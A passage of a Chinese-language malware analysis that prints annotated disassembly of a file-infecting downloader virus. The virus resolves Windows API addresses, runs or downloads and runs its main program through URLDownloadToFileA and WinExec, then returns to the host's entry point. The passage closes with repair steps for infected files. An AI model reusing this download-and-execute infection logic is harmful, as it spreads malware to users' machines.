循环查找输出表,找到进程空间中GetProcAddress函数的地址
找到这个,又有kernel32.dll的基址,就可以调用GetProcAddress函数获得kernel32.dll中的其他所需函数的地址了:
13152CD1 8B5D F4 mov ebx, dword ptr [ebp-C] ; .WIN段首VA
13152CD4 8D43 20 lea eax, dword ptr [ebx+20] ; LoadLibraryA
13152CD7 50 push eax
13152CD8 8B06 mov eax, dword ptr [esi] ;
13152CDA 50 push eax
13152CDB FF53 04 call dword ptr [ebx+4] ; GetProcAddress
13152CDE 8943 08 mov dword ptr [ebx+8], eax ; [.WIN+8]=LoadLibraryA的入口VA
13152D08 8D43 56 lea eax, dword ptr [ebx+56] ; WinExec
13152D0B 50 push eax
13152D0C 8B06 mov eax, dword ptr [esi]
13152D0E 50 push eax
13152D0F FF53 04 call dword ptr [ebx+4]
13152D12 8943 1C mov dword ptr [ebx+1C], eax ; WinExec
就这样相继获得了四个由kernel32.dll导出的函数的地址,保存的位置如下(看前面对数据的说明):
+04H GetProcAddress函数地址
+08H LoadLibraryA函数地址
+0CH FreeLibrary函数地址
+10H ExitProcess函数地址
+14H GetModuleHandleA函数地址
+1CH WinExec函数地址
LoadLibraryA函数有了,现在就可以获取urlmon的基址,进而获取URLDownloadToFileA的入口点地址了:
***************************************************************************************************
13152D15 8D43 5F lea eax, dword ptr [ebx+5F] ; urlmon
13152D18 50 push eax
13152D19 FF53 08 call dword ptr [ebx+8] ; LoadLibraryA
13152D1C 8BF0 mov esi, eax ; esi=urlmon.dll的基址
13152D1E 8933 mov dword ptr [ebx], esi ; 保存于.WIN段首
13152D20 8D43 66 lea eax, dword ptr [ebx+66] ; URLDownloadToFileA
13152D23 50 push eax
13152D24 56 push esi ; urlmon
13152D25 FF53 04 call dword ptr [ebx+4] ; GetProcAddress
13152D28 8943 18 mov dword ptr [ebx+18], eax ; 保存URLDownloadToFileA地址
***************************************************************************************************
千辛万苦获得这些地址,当然是为了调用它们。
这个病毒与前段时间的logogogo.exe系列(其实也就是以前的Delf系列)不一样。
logogogo.exe系列的作法,是将病毒主程序内容整个保存在新加的节里,然后用CreateFileA和WriteFile(也是经过上面这样的方式获取到它们的地址)来释放,并用WinExec运行病毒主程序。
而这个病毒,不愧是“下载者”,连主程序也是直接从网上下载(所以有那个URL地址)。小刀网赚黑板报
***************************************************************************************************
13152D2B 6A 05 push 5
13152D2D 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址(看上面数据区)
13152D33 50 push eax
13152D34 FF53 1C call dword ptr [ebx+1C] ; WinExec
13152D37 83F8 20 cmp eax, 20
13152D3A 73 24 jnb short 13152D60 ; 运行成功,就不用从网上再下载,不成功,才会接下来下载
13152D3C 6A 00 push 0
13152D3E 6A 00 push 0
13152D40 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址
13152D46 50 push eax
13152D47 8D43 79 lea eax, dword ptr [ebx+79] ; 病毒主程序远程URL地址(看上面数据区)
13152D4A 50 push eax
13152D4B 6A 00 push 0
13152D4D FF53 18 call dword ptr [ebx+18] ; URLDownloadToFileA
13152D50 85C0 test eax, eax
13152D52 75 0C jnz short 13152D60 ; 下载不成功,就不WinExec了
13152D54 6A 05 push 5
13152D56 8D83 97000000 lea eax, dword ptr [ebx+97] ; 病毒主程序本地地址
13152D5C 50 push eax
13152D5D FF53 1C call dword ptr [ebx+1C] ; WinExec
***************************************************************************************************
先试着按主程序本地地址,WinExec运行之,成功了,就OK,不成功(病毒主程序不存在),则用URLDownloadToFileA连网下载主程序,下载成功了再WinExec运行之。
至此病毒的功能完成,最后是“擦屁股”(把因需要Load上来的urlmon.dll再free一次)并退出这段代码,跳回被感染程序的原入口点执行:
***************************************************************************************************
13152D60 8B03 mov eax, dword ptr [ebx] ; urlmon基址
13152D62 50 push eax
13152D63 FF53 0C call dword ptr [ebx+C] ; FreeLibrary
13152D66 8B83 BD000000 mov eax, dword ptr [ebx+BD] ; 原文件基址
13152D6C 0383 C1000000 add eax, dword ptr [ebx+C1] ; 原文件入口点
13152D72 8945 F8 mov dword ptr [ebp-8], eax
13152D75 8B45 F8 mov eax, dword ptr [ebp-8]
13152D78 FFE0 jmp eax ; Go!跳回原文件入口点
***************************************************************************************************
代码的最后,并不是代码中直接调用,可能是本身的消息处理函数(由系统调用),收到WM_QUIT消息之后就会ExitProcess
***************************************************************************************************
13152D7A 6A 00 push 0
13152D7C FF53 10 call dword ptr [ebx+10] ; ExitProcess
13152D7F 5F pop edi
13152D80 5E pop esi
13152D81 5B pop ebx
13152D82 8BE5 mov esp, ebp
13152D84 5D pop ebp
13152D85 C3 retn
13152D86 8BC0 mov eax, eax
13152D88 C3 retn
***************************************************************************************************
至此被感染EXE和SCR文件被加入的代码分析完毕。概括起来它要达到的行为:
尝试调用WinExec运行病毒主程序(.WIN+97H处开始,这里为c:\Program Files\Common Files\WIN.exe)
若运行不成功,则调用URLDownloadToFileA从网上下载主程序,再运行(下载地址于.WIN+79H处开始)
最后跳回原程序入口点执行。
三、被感染文件修复方法简要说明
知道了它的行为,特别是原入口点和基址存在哪里,那修复起来就容易了。
先读最后一个IMAGE_SECTION_HEADER结构,看是否是.WIN节,程序EntryPointer是否指向此节内,如果是,则初步可以判断是被感染了。
定位.WIN节开始地址,读取以下量:
+BDH 程序原ImageBase
+C1H 程序原AddressOfEntryPoint
修改PE文件结构
将IMAGE_OPTIONAL_HEADER32中的ImageBase和AddressOfEntryPoint改回
NumberOfSections减1
抹去增加的一个IMAGE_SECTION_HEADER结构
删除最后一个.WIN节的内容等。
*不同的变种,节名和偏移量肯定有所不同,要靠杀软对被添加的代码取特征了。其中,定位到
13152D66 8B83 BD000000 mov eax, dword ptr [ebx+BD] ; 原文件基址
13152D6C 0383 C1000000 add eax, dword ptr [ebx+C1] ; 原文件入口点
这两行代码,找到BD000000和C1000000(不同变种可能不同,但是都是类似的两句)这两个偏移量,就可以找到原ImageBase和AddressOfEntryPoint